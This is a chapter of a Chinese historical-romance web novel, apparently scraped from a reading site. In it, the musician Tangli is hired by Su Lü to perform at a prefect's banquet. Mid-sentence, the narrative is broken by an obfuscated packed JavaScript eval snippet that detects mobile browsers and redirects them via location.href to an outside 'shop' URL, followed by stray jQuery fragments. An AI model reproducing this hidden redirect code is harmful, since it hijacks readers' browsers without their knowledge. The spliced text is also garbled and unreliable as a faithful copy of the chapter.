9. 苏公子

作品:《鲤燕记

    棠鲤昨夜没怎么睡着,几乎是跟着坊市开启的鼓声一同醒来的。


    她想了一夜,无非就是怕那人是个骗子,自己会遇到危险之类的……


    是以一早她就特地问了客栈掌柜,醉仙居是这寒城中数一数二的酒楼食肆,本地有头有脸的人家、南来北往的富商都会来此下榻。


    昨日那个凭栏倚卧的美男子没准是这醉仙居的食客,总之,来看看,不对的话,再走!


    眼下离未时实在还早,棠鲤背着琵琶在城中晃荡,甚至还在一棵大树下坐着看孩童们玩蹴鞠……


    这些小孩儿,玩得裤子都脏了……说起来,自从开始学乐器后,就没怎么像这样跟小区的朋友们在外面疯玩过了,那会儿在家写完作业后都是被逼着快些练琴,挺苦逼的。


    但现在想来,能有一技之长傍身,真的是太好了。


    风吹得有些冷,棠鲤不由得裹紧兜帽,此时身前街上一群穿着富贵的男女走过,身上披着狐裘大氅,或戴着手暖,看起来暖和极了。


    若是后面有闲钱,自己还得添些冬衣了……


    快到未时了,棠鲤按照早上客栈掌柜的指引,一路找去,很快就到了独立坊间的五层食肆——醉仙居。


    棠鲤观察着整座楼,泛着光的琉璃瓦下是层层繁复的雕梁画栋,每层檐角挂着的灯笼也精致无比,总之哪里都透着气派,一看便是有钱人消费的场所。


    由于昨日就被一个看起来很高档的食肆拒绝入内了,所以今日她还是在门口踌躇了半响……


    就在她终于做好心理准备,迈步踏进时,一女子的声音从一旁传来:“小娘子可是苏公子约来的?”


    一粉绿罗裙的女子笑眯眯地静立在侧门边,拢手看着棠鲤。


    棠鲤点点头:“正是。”


    “小娘子可随奴来。”说罢摇手一指,在前方带路。


    棠鲤略微停顿一秒,随后抓紧琵琶的背带,抬脚跟上。


    从侧门进入后,她跟着女子进入了后院,在花园中七拐八拐,最终在一处独立的三层楼阁前停下。


    “苏公子在楼上已等候小娘子多时,请。”那女子在楼阁前停下,说完后又侧身示意身后的楼梯,随后不等棠鲤开口致谢便叉手一礼款款离去。


    看着人影渐渐远去消失在花园中,棠鲤抬头看向雕花精致的木楼梯,慢慢抬脚走上去。


    棠鲤以为很难找到人询问“苏公子”的去处,谁承想刚上到二楼,穿过纱帐,映入眼帘的便是一个装饰华丽而古朴的房间,房间一侧摆满了琴架,各式各样的乐器在上面陈列着。


    屋内角落里燃着不知何名的香料,房间里暖和异常,可能是烧了炭火。


    棠鲤站在屋中间的织布地毯上,柔软的触感让她不禁回忆起与莫玥儿在毡帐内同坐一席的场景,嘴角不自觉地弯起。


    “来了,坐。”


    屋内屏风后,昨日那个美男子身着宽衣大氅踱步而入,坐在席榻的一边,示意棠鲤坐在对面。


    入座后,棠鲤开口询问:“你便是苏公子?”


    苏律没有抬头,缓缓挽起袖子,伸出白净的一双手侍弄着身前桌上的红泥茶炉,茶水恰逢时地烧开了,他将丝帕包着茶壶,倒入茶杯中,这才开口,却没有回答棠鲤的询问。


    “我猜到了你会来,所以早早将茶水煮上。”


    似是被看穿了所想一般,棠鲤陈默着。


    两人一时无话,四周很安静,只有炉火烧着茶水,发出咕嘟咕嘟的声响。


    “我叫苏律,受寒州太守府府官之命,将在明日入府献艺,如今暂住此处。”苏律终于开口,声音依旧温柔。


    棠鲤闻之,想起来自己也没有介绍自己,连忙叉手行礼后开口:“我叫棠鲤,肃州而来……今日,多谢苏公子相邀。”


    苏律将倒好茶水的茶盏放在棠鲤面前,回身坐好,随后看向被放在棠鲤身后的琵琶。


    “你的琴技很好,想必已学多年。”


    “多谢苏公子称赞,我从小随姥爷……啊不,随外祖学了琴,长大后才又学了琵琶……”棠鲤第一次被同行这般直白地称赞,有些不好意思,回忆起幼时跟随姥爷学习古琴时的场景,甚觉怀念……


    “棠小娘子并非乐籍,为何以乐谋生?”棠鲤看着苏律,有些惊讶,“你昨日在城中另一家酒楼碰壁,我看到了。”男子的玉手抬起茶盏,将茶水慢慢送入口中。


    原来被他看见了……好尴尬啊……“当然是缺钱。”棠鲤也不想拐弯抹角的,事到如今她大概能猜出眼前这个叫苏律的男子的意图了……


    苏律昨日在楼上饮酒消愁时,被一阵技艺精湛的琵琶声吸引,推开门后,便看见一衣着朴素的小娘子抱着琵琶在空无一人的巷子中坐着,说起来,早些时候还在珍馐馆前看到过她,只不过那会儿她连进都没进去……


    他觉得有些意思。来到寒城第一日,他便为了太守府夜宴之事走遍了寒城教坊和乐馆,却没有找到任何一个让他满意的乐师,烦闷至极,没想到阴差阳错让他撞见了棠鲤……


    简单几句交谈后他发现,这女子实在是无甚教养,简单的礼节都做不标准,与男子共处一室丝毫不觉紧张、言语时也这般毫无避讳地直视他的眼睛……


    简直是……


    他自幼在西京的教坊长大,见过的达官贵人数不胜数,第一次见这样“坦诚”的女子,要不是技艺和相貌不错,倒真是让他有些不知如何应对……


    似是也没想到棠鲤的回答能如此直白,苏律也不准备铺垫了,直接询问棠鲤要不要随他一同去寒城太守府献技,报酬自然是有的。


    棠鲤思索片刻,问了一下报酬几何,苏律抿了一口茶,回答了一个数。


    棠鲤松了口气,是被吓到了,报酬真是丰富,接下来路途中住店和冬衣的事情也都有找落了!


    “既如此,休息片刻便开始排练吧,明日早些时候你也得来。”


    “好!”从前在大学时,棠鲤便被推荐偶尔参与一些小型商演,毕业后更是靠着自己的努力加入了乐团,虽然基本上没怎么在家待过但每月薪资可观。


    苏律将夜宴的所有细节安排都向棠鲤讲了一遍,怕她记不住,所以还很贴心地给她写了出来。


    两人一起在屋中排练许久。


    本来苏律还对棠鲤有一些不放心,但发现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224389|197558||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此女虽然有些不同,但非常谦虚,不懂的地方也会礼貌询问,并且在他指导时非常认真倾听……这种感觉,是苏律以往不曾有过的。


    “今日时辰不早了,明日巳时再来吧。”苏律看了看一旁的更漏,估摸了一下时间,开口道。


    棠鲤看向窗外,这才发现已经过去了许久,话说今天她好像在外面待了一天,没有跟岑燕之打声招呼……


    她连忙起身,将琵琶收好。


    “多谢苏公子!明日巳时我准时来。”说罢准备下楼。


    “嗯。”苏律起身送她到门口,并没有下楼,棠鲤未觉不妥,行过一礼后快步下楼离去。


    到了楼下,方才引路的女子正候在一旁,依旧笑眯眯地,还是不等棠鲤打招呼,便在前方带路……


    送走棠鲤后,若红回到小楼时,苏律正在调琴。


    “送走了?”


    “公子放心。”若红回答道,进屋内收拾了一下桌案后,准备出去,却被叫住。


    “明日劳你教她些礼节,不然在府衙可丢不起人。”苏律将琴放在琴架上,又翻开琴谱,一手执笔做标注。


    若红回忆着棠鲤的样貌举止,似是想到了什么,以袖掩面笑着答应。


    “还有,我们之间不用你这般客气,说来说去都是贱籍……”苏律沉着眉眼,有些让人看不清喜怒。


    若红依旧弯着眼睫,看向坐在床边榻上的男子,“奴的性命是公子救的,能够伺候公子都是奴的福气。”说罢退出门去。


    记得那会儿她才八岁吧?在西京的教坊为了逃避规训而无意间冲撞了贵人,就在即将被打死之际,是苏律公子携琴出现,救了她一命……不然她早就被裹着草席埋了吧?


    毕竟,没有贵人的应允,贱籍几乎是无法在回良籍的,他们的身家性命,早在出生的那一刻起就注定了……但想怎样活着,是他们为数不多可以去为自己争取的,她是如此,苏公子也是如此……


    棠鲤记得回客栈的路,还好在暮鼓响尽之前回到了客栈。


    此时客栈厅堂烛火大多都熄了,只有柜台边的一张桌前还点着一盏,一男子坐在灯前,似是在沉思。


    棠鲤没过多注意,穿过厅堂便预备上楼,却被叫住。


    “出去了一天,明日不打算走了?”


    原来是岑燕之,方才棠鲤真没注意。


    她走到桌前坐下,“今日有些事情,晚了一点,你找到商队了?”


    岑燕之看着棠鲤的面容,烛火映衬下温温暖暖的,他撇开眼睛,“最早在后日有个商队要走,我们顺路,正好可以将我们捎上,银钱我问了,还算合适……”


    他还未说完,就听棠鲤笑着开口:“正巧,明日我还有些事情,明日晚上我将商队的钱予你,今日不早了,我先回房休息啦!”


    棠鲤站起身,走上楼梯,行到拐角处,探头又说:“岑少侠也早些休息吧!今日辛苦你了!”


    留给岑燕之的只有个背着琵琶的背影,以及“噔噔噔”快速上楼的脚步声……


    按压下心中莫名的恼火,岑燕之也起身吹灭烛火,微沉着一张脸,扶着佩刀从另一侧大步上楼离去。